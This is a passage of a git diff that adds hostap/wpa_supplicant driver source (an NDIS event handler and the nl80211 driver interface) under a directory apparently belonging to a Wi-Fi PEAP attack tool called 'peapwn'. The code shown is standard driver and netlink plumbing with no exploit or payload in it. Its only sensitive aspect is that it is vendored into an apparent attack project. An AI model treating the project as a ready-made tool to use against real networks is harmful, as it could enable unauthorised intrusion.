wpa_driver_ndis_event_disconnect(struct wpa_driver_ndis_data *drv); +void wpa_driver_ndis_event_media_specific(struct wpa_driver_ndis_data *drv, + const u8 *data, size_t data_len); +void wpa_driver_ndis_event_adapter_arrival(struct wpa_driver_ndis_data *drv); +void wpa_driver_ndis_event_adapter_removal(struct wpa_driver_ndis_data *drv); + + +enum event_types { EVENT_CONNECT, EVENT_DISCONNECT, + EVENT_MEDIA_SPECIFIC, EVENT_ADAPTER_ARRIVAL, + EVENT_ADAPTER_REMOVAL }; + +/* Event data: + * enum event_types (as int, i.e., 4 octets) + * data length (2 octets (big endian), optional) + * data (variable len, optional) + */ + + +static void wpa_driver_ndis_event_process(struct wpa_driver_ndis_data *drv, + u8 *buf, size_t len) +{ + u8 *pos, *data = NULL; + enum event_types type; + size_t data_len = 0; + + wpa_hexdump(MSG_MSGDUMP, "NDIS: received event data", buf, len); + if (len < sizeof(int)) + return; + type = *((int *) buf); + pos = buf + sizeof(int); + wpa_printf(MSG_DEBUG, "NDIS: event - type %d", type); + + if (buf + len - pos > 2) { + data_len = (int) *pos++ << 8; + data_len += *pos++; + if (data_len > (size_t) (buf + len - pos)) { + wpa_printf(MSG_DEBUG, "NDIS: event data overflow"); + return; + } + data = pos; + wpa_hexdump(MSG_MSGDUMP, "NDIS: event data", data, data_len); + } + + switch (type) { + case EVENT_CONNECT: + wpa_driver_ndis_event_connect(drv); + break; + case EVENT_DISCONNECT: + wpa_driver_ndis_event_disconnect(drv); + break; + case EVENT_MEDIA_SPECIFIC: + wpa_driver_ndis_event_media_specific(drv, data, data_len); + break; + case EVENT_ADAPTER_ARRIVAL: + wpa_driver_ndis_event_adapter_arrival(drv); + break; + case EVENT_ADAPTER_REMOVAL: + wpa_driver_ndis_event_adapter_removal(drv); + break; + } +} + + +void wpa_driver_ndis_event_pipe_cb(void *eloop_data, void *user_data) +{ + struct wpa_driver_ndis_data *drv = eloop_data; + u8 buf[512]; + DWORD len; + + ResetEvent(drv->event_avail); + if (ReadFile(drv->events_pipe, buf, sizeof(buf), &len, NULL)) + wpa_driver_ndis_event_process(drv, buf, len); + else { + wpa_printf(MSG_DEBUG, "%s: ReadFile() failed: %d", __func__, + (int) GetLastError()); + } +} diff --git a/peapwn/mods/hostap/src/drivers/driver_nl80211.c b/peapwn/mods/hostap/src/drivers/driver_nl80211.c new file mode 100644 index 000000000..64ab29a63 --- /dev/null +++ b/peapwn/mods/hostap/src/drivers/driver_nl80211.c @@ -0,0 +1,11459 @@ +/* + * Driver interaction with Linux nl80211/cfg80211 + * Copyright (c) 2002-2012, Jouni Malinen + * Copyright (c) 2003-2004, Instant802 Networks, Inc. + * Copyright (c) 2005-2006, Devicescape Software, Inc. + * Copyright (c) 2007, Johannes Berg + * Copyright (c) 2009-2010, Atheros Communications + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "nl80211_copy.h" + +#include "common.h" +#include "eloop.h" +#include "utils/list.h" +#include "common/ieee802_11_defs.h" +#include "common/ieee802_11_common.h" +#include "l2_packet/l2_packet.h" +#include "netlink.h" +#include "linux_ioctl.h" +#include "radiotap.h" +#include "radiotap_iter.h" +#include "rfkill.h" +#include "driver.h" + +#ifndef SO_WIFI_STATUS +# if defined(__sparc__) +# define SO_WIFI_STATUS 0x0025 +# elif defined(__parisc__) +# define SO_WIFI_STATUS 0x4022 +# else +# define SO_WIFI_STATUS 41 +# endif + +# define SCM_WIFI_STATUS SO_WIFI_STATUS +#endif + +#ifndef SO_EE_ORIGIN_TXSTATUS +#define SO_EE_ORIGIN_TXSTATUS 4 +#endif + +#ifndef PACKET_TX_TIMESTAMP +#define PACKET_TX_TIMESTAMP 16 +#endif + +#ifdef ANDROID +#include "android_drv.h" +#endif /* ANDROID */ +#ifdef CONFIG_LIBNL20 +/* libnl 2.0 compatibility code */ +#define nl_handle nl_sock +#define nl80211_handle_alloc nl_socket_alloc_cb +#define nl80211_handle_destroy nl_socket_free +#else +/* + * libnl 1.1 has a bug, it tries to allocate socket numbers densely + * but when you free a socket again it will mess up its bitmap and + * and use the wrong number the next time it needs a socket ID. + * Therefore, we wrap the handle alloc/destroy and add our own pid + * accounting. + */ +static uint32_t port_bitmap[32] = { 0 }; + +static struct nl_handle *nl80211_handle_alloc(void *cb) +{ + struct nl_handle *handle; + uint32_t pid = getpid() & 0x3FFFFF; + int i; + + handle = nl_handle_alloc_cb(cb); + + for (i = 0; i < 1024; i++) { + if (port_bitmap[i / 32] & (1 << (i % 32))) + continue; + port_bitmap[i / 32] |= 1 << (i % 32); + pid += i << 22; + break; + } + + nl_socket_set_local_port(handle, pid); + + return handle; +} + +static void nl80211_handle_destroy(struct nl_handle *handle) +{ + uint32_t port = nl_socket_get_local_port(handle); + + port >>= 22; + port_bitmap[port / 32] &= ~(1 << (port % 32)); + + nl_handle_destroy(handle); +} +#endif /* CONFIG_LIBNL20 */ + + +#ifdef ANDROID +/* system/core/libnl_2 does not include nl_socket_set_nonblocking() */ +static int android_nl_socket_set_nonblocking(struct nl_handle *handle) +{ + return fcntl(nl_socket_get_fd(handle), F_SETFL, O_NONBLOCK); +} +#undef nl_socket_set_nonblocking +#define nl_socket_set_nonblocking(h) android_nl_socket_set_nonblocking(h) +#endif /* ANDROID */ + + +static struct nl_handle * nl_create_handle(struct nl_cb *cb, const char *dbg) +{ + struct nl_handle *handle; + + handle = nl80211_handle_alloc(cb); + if (handle == NULL) { + wpa_printf(MSG_ERROR, "nl80211: Failed to allocate netlink " + "callbacks (%s)", dbg); + return NULL; + } + + if (genl_connect(handle)) { + wpa_printf(MSG_ERROR, "nl80211: Failed to connect to generic " + "netlink (%s)", dbg); + nl80211_handle_destroy(handle); + return NULL; + } + + return handle; +} + + +static void nl_destroy_handles(struct nl_handle **handle) +{ + if (*handle == NULL) + return; + nl80211_handle_destroy(*handle); + *handle = NULL; +} + + +#if __WORDSIZE == 64 +#define ELOOP_SOCKET_INVALID (intptr_t) 0x8888888888888889ULL +#else +#define ELOOP_SOCKET_INVALID (intptr_t) 0x88888889ULL +#endif + +static void nl80211_register_eloop_read(struct nl_handle **handle, + eloop_sock_handler handler, + void *eloop_data) +{ + nl_socket_set_nonblocking(*handle); + eloop_register_read_sock(nl_socket_get_fd(*handle), handler, + eloop_data, *handle); + *handle = (void *) (((intptr_t) *handle) ^ ELOOP_SOCKET_INVALID); +} + + +static void nl80211_destroy_eloop_handle(struct nl_handle **handle) +{ + *handle = (void *) (((intptr_t) *handle) ^ ELOOP_SOCKET_INVALID); + eloop_unregister_read_sock(nl_socket_get_fd(*handle)); + nl_destroy_handles(handle); +} + + +#ifndef IFF_LOWER_UP +#define IFF_LOWER_UP 0x10000 /* driver signals L1 up */ +#endif +#ifndef IFF_DORMANT +#define IFF_DORMANT 0x20000 /* driver signals dormant */ +#endif + +#ifndef IF_OPER_DORMANT +#define IF_OPER_DORMANT 5 +#endif +#ifndef IF_OPER_UP +#define IF_OPER_UP 6 +#endif + +struct nl80211_global { + struct dl_list interfaces; + int if_add_ifindex; + u64 if_add_wdevid; + int if_add_wdevid_set; + struct netlink_data *netlink; + struct nl_cb *nl_cb; + struct nl_handle *nl; + int nl80211_id; + int ioctl_sock; /* socket for ioctl() use */ + + struct nl_handle *nl_event; +}; + +struct nl80211_wiphy_data { + struct dl_list list; + struct dl_list bsss; + struct dl_list drvs; + + struct nl_handle *nl_beacons; + struct nl_cb *nl_cb; + + int wiphy_idx; +}; + +static void nl80211_global_deinit(void *priv); + +struct i802_bss { + struct wpa_driver_nl80211_data *drv; + struct i802_bss *next; + int ifindex; + u64 wdev_id; + char ifname[IFNAMSIZ + 1]; + char brname[IFNAMSIZ]; + unsigned int beacon_set:1; + unsigned int added_if_into_bridge:1; + unsigned int added_bridge:1; + unsigned int in_deinit:1; + unsigned int wdev_id_set:1; + unsigned int added_if:1; + + u8 addr[ETH_ALEN]; + + int freq; + int if_dynamic; + + void *ctx; + struct nl_handle *nl_preq, *nl_mgmt; + struct nl_cb *nl_cb; + + struct nl80211_wiphy_data *wiphy_data; + struct dl_list wiphy_list; +}; + +struct wpa_driver_nl80211_data { + struct nl80211_global *global; + struct dl_list list; + struct dl_list wiphy_list; + char phyname[32]; + void *ctx; + int ifindex; + int if_removed; + int if_disabled; + int ignore_if_down_event; + struct rfkill_data *rfkill; + struct wpa_driver_capa capa; + u8 *extended_capa, *extended_capa_mask; + unsigned int extended_capa_len; + int has_capability; + + int operstate; + + int scan_complete_events; + enum scan_states { + NO_SCAN, SCAN_REQUESTED, SCAN_STARTED, SCAN_COMPLETED, + SCAN_ABORTED, SCHED_SCAN_STARTED, SCHED_SCAN_STOPPED, + SCHED_SCAN_RESULTS + } scan_state; + + struct nl_cb *nl_cb; + + u8 auth_bssid[ETH_ALEN]; + u8 auth_attempt_bssid[ETH_ALEN]; + u8 bssid[ETH_ALEN]; + u8 prev_bssid[ETH_ALEN]; + int associated; + u8 ssid[32]; + size_t ssid_len; + enum nl80211_iftype nlmode; + enum nl80211_iftype ap_scan_as_station; + unsigned int assoc_freq; + + int monitor_sock; + int monitor_ifidx; + int monitor_refcount; + + unsigned int disabled_11b_rates:1; + unsigned int pending_remain_on_chan:1; + unsigned int in_interface_list:1; + unsigned int device_ap_sme:1; + unsigned int poll_command_supported:1; + unsigned int data_tx_status:1; + unsigned int scan_for_auth:1; + unsigned int retry_auth:1; + unsigned int use_monitor:1; + unsigned int ignore_next_local_disconnect:1; + unsigned int allow_p2p_device:1; + unsigned int hostapd:1; + unsigned int start_mode_ap:1; + unsigned int start_iface_up:1; + unsigned int channel_switch_supported:1; + + u64 remain_on_chan_cookie; + u64 send_action_cookie; + + unsigned int last_mgmt_freq; + + struct wpa_driver_scan_filter *filter_ssids; + size_t num_filter_ssids; + + struct i802_bss *first_bss; + + int eapol_tx_sock; + + int eapol_sock; /* socket for EAPOL frames */ + + int default_if_indices[16]; + int *if_indices; + int num_if_indices; + + /* From failed authentication command */ + int auth_freq; + u8 auth_bssid_[ETH_ALEN]; + u8 auth_ssid[32]; + size_t auth_ssid_len; + int auth_alg; + u8 *auth_ie; + size_t auth_ie_len; + u8 auth_wep_key[4][16]; + size_t auth_wep_key_len[4]; + int auth_wep_tx_keyidx; + int auth_local_state_change; + int auth_p2p; +}; + + +static void wpa_driver_nl80211_deinit(struct i802_bss *bss); +static void wpa_driver_nl80211_scan_timeout(void *eloop_ctx, + void *timeout_ctx); +static int wpa_driver_nl80211_set_mode(struct i802_bss *bss, + enum nl80211_iftype nlmode); +static int +wpa_driver_nl80211_finish_drv_init(struct wpa_driver_nl80211_data *drv, + const u8 *set_addr, int first); +static int wpa_driver_nl80211_mlme(struct wpa_driver_nl80211_data *drv, + const u8 *addr, int cmd, u16 reason_code, + int local_state_change); +static void nl80211_remove_monitor_interface( + struct wpa_driver_nl80211_data *drv); +static int nl80211_send_frame_cmd(struct i802_bss *bss, + unsigned int freq, unsigned int wait, + const u8 *buf, size_t buf_len, u64 *cookie, + int no_cck, int no_ack, int offchanok); +static int nl80211_register_frame(struct i802_bss *bss, + struct nl_handle *hl_handle, + u16 type, const u8 *match, size_t match_len); +static int wpa_driver_nl80211_probe_req_report(struct i802_bss *bss, + int report); +#ifdef ANDROID +static int android_pno_start(struct i802_bss *bss, + struct wpa_driver_scan_params *params); +static int android_pno_stop(struct i802_bss *bss); +extern int wpa_driver_nl80211_driver_cmd(void *priv, char *cmd, char *buf, + size_t buf_len); +#endif /* ANDROID */ +#ifdef ANDROID_P2P +int wpa_driver_set_p2p_noa(void *priv, u8 count, int start, int duration); +int wpa_driver_get_p2p_noa(void *priv, u8 *buf, size_t len); +int wpa_driver_set_p2p_ps(void *priv, int legacy_ps, int opp_ps, int ctwindow); +int wpa_driver_set_ap_wps_p2p_ie(void *priv, const struct wpabuf *beacon, + const struct wpabuf *proberesp, + const struct wpabuf *assocresp); +#endif /* ANDROID_P2P */ + +static void add_ifidx(struct wpa_driver_nl80211_data *drv, int ifidx); +static void del_ifidx(struct wpa_driver_nl80211_data *drv, int ifidx); +static int have_ifidx(struct wpa_driver_nl80211_data *drv, int ifidx); +static int wpa_driver_nl80211_if_remove(struct i802_bss *bss, + enum wpa_driver_if_type type, + const char *ifname); + +static int wpa_driver_nl80211_set_freq(struct i802_bss *bss, + struct hostapd_freq_params *freq); +static int nl80211_disable_11b_rates(struct wpa_driver_nl80211_data *drv, + int ifindex, int disabled); + +static int nl80211_leave_ibss(struct wpa_driver_nl80211_data *drv); +static int wpa_driver_nl80211_authenticate_retry( + struct wpa_driver_nl80211_data *drv); + +static int i802_set_iface_flags(struct i802_bss *bss, int up); + + +static const char * nl80211_command_to_string(enum nl80211_commands cmd) +{ +#define C2S(x) case x: return #x; + switch (cmd) { + C2S(NL80211_CMD_UNSPEC) + C2S(NL80211_CMD_GET_WIPHY) + C2S(NL80211_CMD_SET_WIPHY) + C2S(NL80211_CMD_NEW_WIPHY) + C2S(NL80211_CMD_DEL_WIPHY) + C2S(NL80211_CMD_GET_INTERFACE) + C2S(NL80211_CMD_SET_INTERFACE) + C2S(NL80211_CMD_NEW_INTERFACE) + C2S(NL80211_CMD_DEL_INTERFACE) + C2S(NL80211_CMD_GET_KEY) + C2S(NL80211_CMD_SET_KEY) + C2S(NL80211_CMD_NEW_KEY) + C2S(NL80211_CMD_DEL_KEY) + C2S(NL80211_CMD_GET_BEACON) + C2S(NL80211_CMD_SET_BEACON) + C2S(NL80211_CMD_START_AP) + C2S(NL80211_CMD_STOP_AP) + C2S(NL80211_CMD_GET_STATION) + C2S(NL80211_CMD_SET_STATION) + C2S(NL80211_CMD_NEW_STATION) + C2S(NL80211_CMD_DEL_STATION) + C2S(NL80211_CMD_GET_MPATH) + C2S(NL80211_CMD_SET_MPATH) + C2S(NL80211_CMD_NEW_MPATH) + C2S(NL80211_CMD_DEL_MPATH) + C2S(NL80211_CMD_SET_BSS) + C2S(NL80211_CMD_SET_REG) + C2S(NL80211_CMD_REQ_SET_REG) + C2S(NL80211_CMD_GET_MESH_CONFIG) + C2S(NL80211_CMD_SET_MESH_CONFIG) + C2S(NL80211_CMD_SET_MGMT_EXTRA_IE) + C2S(NL80211_CMD_GET_REG) + C2S(NL80211_CMD_GET_SCAN) + C2S(NL80211_CMD_TRIGGER_SCAN) + C2S(NL80211_CMD_NEW_SCAN_RESULTS) + C2S(NL80211_CMD_SCAN_ABORTED) + C2S(NL80211_CMD_REG_CHANGE) + C2S(NL80211_CMD_AUTHENTICATE) + C2S(NL80211_CMD_ASSOCIATE) + C2S(NL80211_CMD_DEAUTHENTICATE) + C2S(NL80211_CMD_DISASSOCIATE) + C2S(NL80211_CMD_MICHAEL_MIC_FAILURE) + C2S(NL80211_CMD_REG_BEACON_HINT) + C2S(NL80211_CMD_JOIN_IBSS) + C2S(NL80211_CMD_LEAVE_IBSS) + C2S(NL80211_CMD_TESTMODE) + C2S(NL80211_CMD_CONNECT) + C2S(NL80211_CMD_ROAM) + C2S(NL80211_CMD_DISCONNECT) + C2S(NL80211_CMD_SET_WIPHY_NETNS) + C2S(NL80211_CMD_GET_SURVEY) + C2S(NL80211_CMD_NEW_SURVEY_RESULTS) + C2S(NL80211_CMD_SET_PMKSA) + C2S(NL80211_CMD_DEL_PMKSA) + C2S(NL80211_CMD_FLUSH_PMKSA) + C2S(NL80211_CMD_REMAIN_ON_CHANNEL) + C2S(NL80211_CMD_CANCEL_REMAIN_ON_CHANNEL) + C2S(NL80211_CMD_SET_TX_BITRATE_MASK) + C2S(NL80211_CMD_REGISTER_FRAME) + C2S(NL80211_CMD_FRAME) + C2S(NL80211_CMD_FRAME_TX_STATUS) + C2S(NL80211_CMD_SET_POWER_SAVE) + C2S(NL80211_CMD_GET_POWER_SAVE) + C2S(NL80211_CMD_SET_CQM) + C2S(NL80211_CMD_NOTIFY_CQM) + C2S(NL80211_CMD_SET_CHANNEL) + C2S(NL80211_CMD_SET_WDS_PEER) + C2S(NL80211_CMD_FRAME_WAIT_CANCEL) + C2S(NL80211_CMD_JOIN_MESH) + C2S(NL80211_CMD_LEAVE_MESH) + C2S(NL80211_CMD_UNPROT_DEAUTHENTICATE) + C2S(NL80211_CMD_UNPROT_DISASSOCIATE) + C2S(NL80211_CMD_NEW_PEER_CANDIDATE) + C2S(NL80211_CMD_GET_WOWLAN) + C2S(NL80211_CMD_SET_WOWLAN) + C2S(NL80211_CMD_START_SCHED_SCAN) + C2S(NL80211_CMD_STOP_SCHED_SCAN) + C2S(NL80211_CMD_SCHED_SCAN_RESULTS) + C2S(NL80211_CMD_SCHED_SCAN_STOPPED) + C2S(NL80211_CMD_SET_REKEY_OFFLOAD) + C2S(NL80211_CMD_PMKSA_CANDIDATE) + C2S(NL80211_CMD_TDLS_OPER) + C2S(NL80211_CMD_TDLS_MGMT) + C2S(NL80211_CMD_UNEXPECTED_FRAME) + C2S(NL80211_CMD_PROBE_CLIENT) + C2S(NL80211_CMD_REGISTER_BEACONS) + C2S(NL80211_CMD_UNEXPECTED_4ADDR_FRAME) + C2S(NL80211_CMD_SET_NOACK_MAP) + C2S(NL80211_CMD_CH_SWITCH_NOTIFY) + C2S(NL80211_CMD_START_P2P_DEVICE) + C2S(NL80211_CMD_STOP_P2P_DEVICE) + C2S(NL80211_CMD_CONN_FAILED) + C2S(NL80211_CMD_SET_MCAST_RATE) + C2S(NL80211_CMD_SET_MAC_ACL) + C2S(NL80211_CMD_RADAR_DETECT) + C2S(NL80211_CMD_GET_PROTOCOL_FEATURES) + C2S(NL80211_CMD_UPDATE_FT_IES) + C2S(NL80211_CMD_FT_EVENT) + C2S(NL80211_CMD_CRIT_PROTOCOL_START) + C2S(NL80211_CMD_CRIT_PROTOCOL_STOP) + default: + return "NL80211_CMD_UNKNOWN"; + } +#undef C2S +} + + +static int is_ap_interface(enum nl80211_iftype nlmode) +{ + return (nlmode == NL80211_IFTYPE_AP || + nlmode == NL80211_IFTYPE_P2P_GO); +} + + +static int is_sta_interface(enum nl80211_iftype nlmode) +{ + return (nlmode == NL80211_IFTYPE_STATION || + nlmode == NL80211_IFTYPE_P2P_CLIENT); +} + + +static int is_p2p_net_interface(enum nl80211_iftype nlmode) +{ + return (nlmode == NL80211_IFTYPE_P2P_CLIENT || + nlmode == NL80211_IFTYPE_P2P_GO); +} + + +static void nl80211_mark_disconnected(struct wpa_driver_nl80211_data *drv) +{ + if (drv->associated) + os_memcpy(drv->prev_bssid, drv->bssid, ETH_ALEN); + drv->associated = 0; + os_memset(drv->bssid, 0, ETH_ALEN); +} + + +struct nl80211_bss_info_arg { + struct wpa_driver_nl80211_data *drv; + struct wpa_scan_results *res; + unsigned int assoc_freq; + u8 assoc_bssid[ETH_ALEN]; +}; + +static int bss_info_handler(struct nl_msg *msg, void *arg); + + +/* nl80211 code */ +static int ack_handler(struct nl_msg *msg, void *arg) +{ + int *err = arg; + *err = 0; + return NL_STOP; +} + +static int finish_handler(struct nl_msg *msg, void *arg) +{ + int *ret = arg; + *ret = 0; + return NL_SKIP; +} + +static int error_handler(struct sockaddr_nl *nla, struct nlmsgerr *err, + void *arg) +{ + int *ret = arg; + *ret = err->error; + return NL_SKIP; +} + + +static int no_seq_check(struct nl_msg *msg, void *arg) +{ + return NL_OK; +} + + +static int send_and_recv(struct nl80211_global *global, + struct nl_handle *nl_handle, struct nl_msg *msg, + int (*valid_handler)(struct nl_msg *, void *), + void *valid_data) +{ + struct nl_cb *cb; + int err = -ENOMEM; + + cb = nl_cb_clone(global->nl_cb); + if (!cb) + goto out; + + err = nl_send_auto_complete(nl_handle, msg); + if (err < 0) + goto out; + + err = 1; + + nl_cb_err(cb, NL_CB_CUSTOM, error_handler, &err); + nl_cb_set(cb, NL_CB_FINISH, NL_CB_CUSTOM, finish_handler, &err); + nl_cb_set(cb, NL_CB_ACK, NL_CB_CUSTOM, ack_handler, &err); + + if (valid_handler) + nl_cb_set(cb, NL_CB_VALID, NL_CB_CUSTOM, + valid_handler, valid_data); + + while (err > 0) { + int res = nl_recvmsgs(nl_handle, cb); + if (res) { + wpa_printf(MSG_INFO, + "nl80211: %s->nl_recvmsgs failed: %d", + __func__, res); + } + } + out: + nl_cb_put(cb); + nlmsg_free(msg); + return err; +} + + +static int send_and_recv_msgs_global(struct nl80211_global *global, + struct nl_msg *msg, + int (*valid_handler)(struct nl_msg *, void *), + void *valid_data) +{ + return send_and_recv(global, global->nl, msg, valid_handler, + valid_data); +} + + +static int send_and_recv_msgs(struct wpa_driver_nl80211_data *drv, + struct nl_msg *msg, + int (*valid_handler)(struct nl_msg *, void *), + void *valid_data) +{ + return send_and_recv(drv->global, drv->global->nl, msg, + valid_handler, valid_data); +} + + +struct family_data { + const char *group; + int id; +}; + + +static int nl80211_set_iface_id(struct nl_msg *msg, struct i802_bss *bss) +{ + if (bss->wdev_id_set) + NLA_PUT_U64(msg, NL80211_ATTR_WDEV, bss->wdev_id); + else + NLA_PUT_U32(msg, NL80211_ATTR_IFINDEX, bss->ifindex); + return 0; + +nla_put_failure: + return -1; +} + + +static int family_handler(struct nl_msg *msg, void *arg) +{ + struct family_data *res = arg; + struct nlattr *tb[CTRL_ATTR_MAX + 1]; + struct genlmsghdr *gnlh = nlmsg_data(nlmsg_hdr(msg)); + struct nlattr *mcgrp; + int i; + + nla_parse(tb, CTRL_ATTR_MAX, genlmsg_attrdata(gnlh, 0), + genlmsg_attrlen(gnlh, 0), NULL); + if (!tb[CTRL_ATTR_MCAST_GROUPS]) + return NL_SKIP; + + nla_for_each_nested(mcgrp, tb[CTRL_ATTR_MCAST_GROUPS], i) { + struct nlattr *tb2[CTRL_ATTR_MCAST_GRP_MAX + 1]; + nla_parse(tb2, CTRL_ATTR_MCAST_GRP_MAX, nla_data(mcgrp), + nla_len(mcgrp), NULL); + if (!tb2[CTRL_ATTR_MCAST_GRP_NAME] || + !tb2[CTRL_ATTR_MCAST_GRP_ID] || + os_strncmp(nla_data(tb2[CTRL_ATTR_MCAST_GRP_NAME]), + res->group, + nla_len(tb2[CTRL_ATTR_MCAST_GRP_NAME])) != 0) + continue; + res->id = nla_get_u32(tb2[CTRL_ATTR_MCAST_GRP_ID]); + break; + }; + + return NL_SKIP; +} + + +static int nl_get_multicast_id(struct nl80211_global *global, + const char *family, const char *group) +{ + struct nl_msg *msg; + int ret = -1; + struct family_data res = { group, -ENOENT }; + + msg = nlmsg_alloc(); + if (!msg) + return -ENOMEM; + genlmsg_put(msg, 0, 0, genl_ctrl_resolve(global->nl, "nlctrl"), + 0, 0, CTRL_CMD_GETFAMILY, 0); + NLA_PUT_STRING(msg, CTRL_ATTR_FAMILY_NAME, family); + + ret = send_and_recv_msgs_global(global, msg, family_handler, &res); + msg = NULL; + if (ret == 0) + ret = res.id; + +nla_put_failure: + nlmsg_free(msg); + return ret; +} + + +static void * nl80211_cmd(struct wpa_driver_nl80211_data *drv, + struct nl_msg *msg, int flags, uint8_t cmd) +{ + return genlmsg_put(msg, 0, 0, drv->global->nl80211_id, + 0, flags, cmd, 0); +} + + +struct wiphy_idx_data { + int wiphy_idx; + enum nl80211_iftype nlmode; + u8 *macaddr; +}; + + +static int netdev_info_handler(struct nl_msg *msg, void *arg) +{ + struct nlattr *tb[NL80211_ATTR_MAX + 1]; + struct genlmsghdr *gnlh = nlmsg_data(nlmsg_hdr(msg)); + struct wiphy_idx_data *info = arg; + + nla_parse(tb, NL80211_ATTR_MAX, genlmsg_attrdata(gnlh, 0), + genlmsg_attrlen(gnlh, 0), NULL); + + if (tb[NL80211_ATTR_WIPHY]) + info->wiphy_idx = nla_get_u32(tb[NL80211_ATTR_WIPHY]); + + if (tb[NL80211_ATTR_IFTYPE]) + info->nlmode = nla_get_u32(tb[NL80211_ATTR_IFTYPE]); + + if (tb[NL80211_ATTR_MAC] && info->macaddr) + os_memcpy(info->macaddr, nla_data(tb[NL80211_ATTR_MAC]), + ETH_ALEN); + + return NL_SKIP; +} + + +static int nl80211_get_wiphy_index(struct i802_bss *bss) +{ + struct nl_msg *msg; + struct wiphy_idx_data data = { + .wiphy_idx = -1, + .macaddr = NULL, + }; + + msg = nlmsg_alloc(); + if (!msg) + return NL80211_IFTYPE_UNSPECIFIED; + + nl80211_cmd(bss->drv, msg, 0, NL80211_CMD_GET_INTERFACE); + + if (nl80211_set_iface_id(msg, bss) < 0) + goto nla_put_failure; + + if (send_and_recv_msgs(bss->drv, msg, netdev_info_handler, &data) == 0) + return data.wiphy_idx; + msg = NULL; +nla_put_failure: + nlmsg_free(msg); + return -1; +} + + +static enum nl80211_iftype nl80211_get_ifmode(struct i802_bss *bss) +{ + struct nl_msg *msg; + struct wiphy_idx_data data = { + .nlmode = NL80211_IFTYPE_UNSPECIFIED, + .macaddr = NULL, + }; + + msg = nlmsg_alloc(); + if (!msg) + return -1; + + nl80211_cmd(bss->drv, msg, 0, NL80211_CMD_GET_INTERFACE); + + if (nl80211_set_iface_id(msg, bss) < 0) + goto nla_put_failure; + + if (send_and_recv_msgs(bss->drv, msg, netdev_info_handler, &data) == 0) + return data.nlmode; + msg = NULL; +nla_put_failure: + nlmsg_free(msg); + return NL80211_IFTYPE_UNSPECIFIED; +} + + +static int nl80211_get_macaddr(struct i802_bss *bss) +{ + struct nl_msg *msg; + struct wiphy_idx_data data = { + .macaddr = bss->addr, + }; + + msg = nlmsg_alloc(); + if (!msg) + return NL80211_IFTYPE_UNSPECIFIED; + + nl80211_cmd(bss->drv, msg, 0, NL80211_CMD_GET_INTERFACE); + if (nl80211_set_iface_id(msg, bss) < 0) + goto nla_put_failure; + + return send_and_recv_msgs(bss->drv, msg, netdev_info_handler, &data); + +nla_put_failure: + nlmsg_free(msg); + return NL80211_IFTYPE_UNSPECIFIED; +} + + +static int nl80211_register_beacons(struct wpa_driver_nl80211_data *drv, + struct nl80211_wiphy_data *w) +{ + struct nl_msg *msg; + int ret = -1; + + msg = nlmsg_alloc(); + if (!msg) + return -1; + + nl80211_cmd(drv, msg, 0, NL80211_CMD_REGISTER_BEACONS); + + NLA_PUT_U32(msg, NL80211_ATTR_WIPHY, w->wiphy_idx); + + ret = send_and_recv(drv->global, w->nl_beacons, msg, NULL, NULL); + msg = NULL; + if (ret) { + wpa_printf(MSG_DEBUG, "nl80211: Register beacons command " + "failed: ret=%d (%s)", + ret, strerror(-ret)); + goto nla_put_failure; + } + ret = 0; +nla_put_failure: + nlmsg_free(msg); + return ret; +} + + +static void nl80211_recv_beacons(int sock, void *eloop_ctx, void *handle) +{ + struct nl80211_wiphy_data *w = eloop_ctx; + int res; + + wpa_printf(MSG_EXCESSIVE, "nl80211: Beacon event message available"); + + res = nl_recvmsgs(handle, w->nl_cb); + if (res) { + wpa_printf(MSG_INFO, "nl80211: %s->nl_recvmsgs failed: %d", + __func__, res); + } +} + + +static int process_beacon_event(struct nl_msg *msg, void *arg) +{ + struct nl80211_wiphy_data *w = arg; + struct wpa_driver_nl80211_data *drv; + struct genlmsghdr *gnlh = nlmsg_data(nlmsg_hdr(msg)); + struct nlattr *tb[NL80211_ATTR_MAX + 1]; + union wpa_event_data event; + + nla_parse(tb, NL80211_ATTR_MAX, genlmsg_attrdata(gnlh, 0), + genlmsg_attrlen(gnlh, 0), NULL); + + if (gnlh->cmd != NL80211_CMD_FRAME) { + wpa_printf(MSG_DEBUG, "nl80211: Unexpected beacon event? (%d)", + gnlh->cmd); + return NL_SKIP; + } + + if (!tb[NL80211_ATTR_FRAME]) + return NL_SKIP; + + dl_list_for_each(drv, &w->drvs, struct wpa_driver_nl80211_data, + wiphy_list) { + os_memset(&event, 0, sizeof(event)); + event.rx_mgmt.frame = nla_data(tb[NL80211_ATTR_FRAME]); + event.rx_mgmt.frame_len = nla_len(tb[NL80211_ATTR_FRAME]); + wpa_supplicant_event(drv->ctx, EVENT_RX_MGMT, &event); + } + + return NL_SKIP; +} + + +static struct nl80211_wiphy_data * +nl80211_get_wiphy_data_ap(struct i802_bss *bss) +{ + static DEFINE_DL_LIST(nl80211_wiphys); + struct nl80211_wiphy_data *w; + int wiphy_idx, found = 0; + struct i802_bss *tmp_bss; + + if (bss->wiphy_data != NULL) + return bss->wiphy_data; + + wiphy_idx = nl80211_get_wiphy_index(bss); + + dl_list_for_each(w, &nl80211_wiphys, struct nl80211_wiphy_data, list) { + if (w->wiphy_idx == wiphy_idx) + goto add; + } + + /* alloc new one */ + w = os_zalloc(sizeof(*w)); + if (w == NULL) + return NULL; + w->wiphy_idx = wiphy_idx; + dl_list_init(&w->bsss); + dl_list_init(&w->drvs); + + w->nl_cb = nl_cb_alloc(NL_CB_DEFAULT); + if (!w->nl_cb) { + os_free(w); + return NULL; + } + nl_cb_set(w->nl_cb, NL_CB_SEQ_CHECK, NL_CB_CUSTOM, no_seq_check, NULL); + nl_cb_set(w->nl_cb, NL_CB_VALID, NL_CB_CUSTOM, process_beacon_event, + w); + + w->nl_beacons = nl_create_handle(bss->drv->global->nl_cb, + "wiphy beacons"); + if (w->nl_beacons == NULL) { + os_free(w); + return NULL; + } + + if (nl80211_register_beacons(bss->drv, w)) { + nl_destroy_handles(&w->nl_beacons); + os_free(w); + return NULL; + } + + nl80211_register_eloop_read(&w->nl_beacons, nl80211_recv_beacons, w); + + dl_list_add(&nl80211_wiphys, &w->list); + +add: + /* drv entry for this bss already there? */ + dl_list_for_each(tmp_bss, &w->bsss, struct i802_bss, wiphy_list) { + if (tmp_bss->drv == bss->drv) { + found = 1; + break; + } + } + /* if not add it */ + if (!found) + dl_list_add(&w->drvs, &bss->drv->wiphy_list); + + dl_list_add(&w->bsss, &bss->wiphy_list); + bss->wiphy_data = w; + return w; +} + + +static void nl80211_put_wiphy_data_ap(struct i802_bss *bss) +{ + 